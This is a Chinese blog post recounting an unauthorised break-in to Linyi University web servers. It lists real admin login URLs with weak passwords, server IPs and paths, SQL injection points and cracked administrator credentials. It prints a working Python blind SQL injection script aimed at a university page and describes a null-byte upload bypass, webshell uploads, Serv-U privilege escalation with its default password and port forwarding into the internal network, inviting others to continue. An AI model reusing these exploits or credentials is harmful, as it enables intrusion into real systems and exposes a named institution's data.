http://blog.csdn.net/wangyi_lin/article/details/8159155
好长一段时间之前搞得了,后来因为比较忙所以没有整理,是一个机友要求帮忙,其实这个站做的挺烂的,直接拿wvs扫了一下,直接出了weak password的后台地址,
http://business.lyu.edu.cn/jpkc/glx/admin/manage.asp
http://business.lyu.edu.cn/jpkc/wangl2/huxiujun/admin/manage.asp
- http://business.lyu.edu.cn/jpkc/sjjjgl/admin/login.asp
- http://business.lyu.edu.cn/jpkc/glx/admin/login.asp
- http://business.lyu.edu.cn/jpkc/wangl2/huxiujun/admin/login.asp
- user:admin
- password:1
都是在jpkc(精品课程)的目录下,应该是多个粗心管理员的所作所为。
因为后台功能大都不能使用,只得到了一些服务器信息
- 服务器的有关参数 服务器名 business.lyu.edu.cn
- 服务器IP 211.64.240.206
- 服务器端口 80
- 服务器时间 2012-10-30 下午 05:17:45
- IIS版本 Microsoft-IIS/6.0
- 脚本超时时间 90 秒
- 本文件路径 F:\sxy\jpkc\sjjjgl\admin\ServerInfo.asp
- 服务器CPU数量 个
- 服务器解译引擎 VBScript/5.6.8850
- 服务器操作系统
转过头来看看扫出的几个注入点,
- http://business.lyu.edu.cn/colum3/more.asp?bigcataid=1'
- http://business.lyu.edu.cn/jiuye/gqtzs.asp?BigClassID=1'
- http://business.lyu.edu.cn/colum3/readnews.asp?newsid=1'
首先是放到工具里面跑一下,穿山甲之跑出了tables和column,却跑不出data,不知道是什么原因
- admin title newsid content about number passwd logins email username id
- news title newsid content about
- system title newsid content about search logo name email id
本着间接和可扩展性的原则,脚本一点都不智能 - -!,但是可供自定义的地方很多,也没有多么智能的判断,毕竟是自己使用的脚本
- from sys import exit
- from urllib import urlopen
- from string import join,strip
- from re import search
- def check_judge(url):
- urlfile = urlopen(url)
- htmlcodes = urlfile.read()
- if search(judge,htmlcodes):
- return 1
- else:
- return 0
- def get_tablename():
- tablefile = open("table.txt")
- for line in tablefile.readlines():
- line = strip(line)
- sql = join(['%20or%20exists%20(select%20*%20from%20',line,')'],'')
- if check_judge(url+sql):
- print "Found:",line
- else:
- print #"Error:",url+sql
- def get_columnname(tablename):
- columnname = open("column.txt")
- for columnnameline in columnname.readlines():
- columnnameline = strip(columnnameline)
- sql = join(['%20or%20exists%20(select%20',columnnameline,'%20from%20',tablename,')'],'')
- if check_judge(url+sql):
- print "Found:", columnnameline,"\n"
- else:
- print #"Error:",url+sql
- def get_datalenth(tablename,columnname):
- for x in range(1,51):
- sql = join(['%20or%20(select%20top%201%20len(',columnname,')%20From%20',tablename,')=',str(x)],'')
- if check_judge(url+sql):
- print "Found:", x,"\n"
- break
- else:
- print "Error:",sql
- def get_data(tablename,columnname,lenth):
- list = []
- for x in [range(48,58),range(97,123),range(65,91),range(33,48),range(58,65),range(91,97),range(123,256),range(1,33)]:
- list.extend(x)
- global username
- username = ''
- for y in range(1,lenth+1):
- print "Now! Crack the left ",y," of the username","Waiting~~~~~~~"
- for z in list:
- sql = join(["%20or%20(select%20top%201%20asc(mid(",columnname,",",str(y),",","1))%20from%20",tablename,")=",str(z)],'')
- if check_judge(url+sql):
- print chr(z)
- username = join([username,chr(z)],'')
- break
- print "Found the username = :",username,"\n"
- print "\n########################################################################\n"
- print " SQL Injection Scripts By LanLan with Python 2.3.x(QQ:915910623)"
- print " Email: wanglanlan2008@gmial.com"
- print "########################################################################\n";
- #url = raw_input('Supply a URL to test inject = ')
- #judge = raw_input("\nJudge string = ")
- url = "http://business.lyu.edu.cn/colum3/more.asp?bigcataid=1"
- judge = "2012-11-7"
- #get_tablename()
- get_columnname("news")
- get_datalenth("admin","passwd")
- get_data("admin","passwd",16)
成功跑出了用户名和密码,不过在后台地址http://business.lyu.edu.cn/colum3/login.asp
却显示密码不正确,有点蛋疼
- username:sxy
- passwd:b34c037051a0adab hsq
机友直接通过这个注入点跑出了管理员密码,这个注入点很有意思,会把过滤的字符列出来,而且还没有过滤大小写
想尝试union,但是猜字段数量有点麻烦,之后会在脚本中加入这个功能
- http://recenter.lyu.edu.cn/view.asp?id=822
- Admin2 123456abc
登入后台之后,在文章发布页面发现,editor的版本比较陈旧,在js中找到了editor的管理信息
- // Copyright (C) 2000, Microsoft, Corp. All rights reserved.
- // File: rte.js
- // Author: Scott Isaacs
- // Contents: RTE Management Code
- // EDITOR PUBLIC (API)
根据机友提示,这里有一个%00的文件截断漏洞,但是根据我的调查发现,如果上传插件选择重命名文件存储的话,那%00截断漏洞就没有用无之处了
和IIS6.0的解析漏洞的原理相似,只不过适用性广一点,拿很常用的无惧上传类做例子,
- sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
- oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1)
- oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\"))
- oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, ".")+1)
filename是test.asp%00 Ext是.jpg
如果插件提供了自定义路径,或者是以用户名为路径的话,还可以构造这种的
/test.asp%00/test.jpg
不过这种情况比较少
不过这个网站无所谓,他直接没有过滤asp - -!,大马小马全部传上去,准备渗透一下内网。
扫了一下ip段,发现不少,应该是独立ip的主机
- -----IP:211.64.240.18-----
- http://www.lyu.edu.cn/ 欢迎光临临沂大学!
- -----IP:211.64.240.51-----
- http://mail.lyu.edu.cn/ 临沂大学
- -----IP:211.64.240.71-----
- http://oa.lyu.edu.cn/ 临沂大学办公系统
- -----IP:211.64.240.203-----
- http://jwco.lyu.edu.cn/ 欢迎访问临沂大学教务处
- http://wlxy.lyu.edu.cn/ 临沂大学物流学院
- -----IP:211.64.240.204-----
- http://sky.lyu.edu.cn/ 临沂大学生命科学学院
使用大马上的serv-U提权,成功创建了账户,这里稍微讲一下,serv-U提权的原理
这个serv-U 是一个 FTP服务,有默认管理员密码 和端口
erv-u>3.x版本默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P
使用管理员建立一个域,并添加系统级账户并执行命令,具体可以看这
- http://blog.csdn.net/lup7in/article/details/7025588
成功建立超级管理员之后,却发现主机虽然开放3389,但是却连不上。
应该是内网的主机,网关只给80端口做了转发,这时候需要使用端口转发的技术
但必须要有一个外网IP,使用ice.exe,原理如下
- target:3389 ---> target:21 ----> Gateway ----> source:1234
这样建立连接后我们只需要连接本地的1234端口,便可以和对方建立3389连接,
网上说使用vpn也可以,这个应该不行,vpn有点像另一个内网,这篇文章讲得很有意思
- http://hi.baidu.com/elzedsi/item/b9e66447140ffea160d7b9af
因为没有外网IP,所以渗透内网的计划就暂且搁置了,哪位大神如果有兴趣可以搞一搞。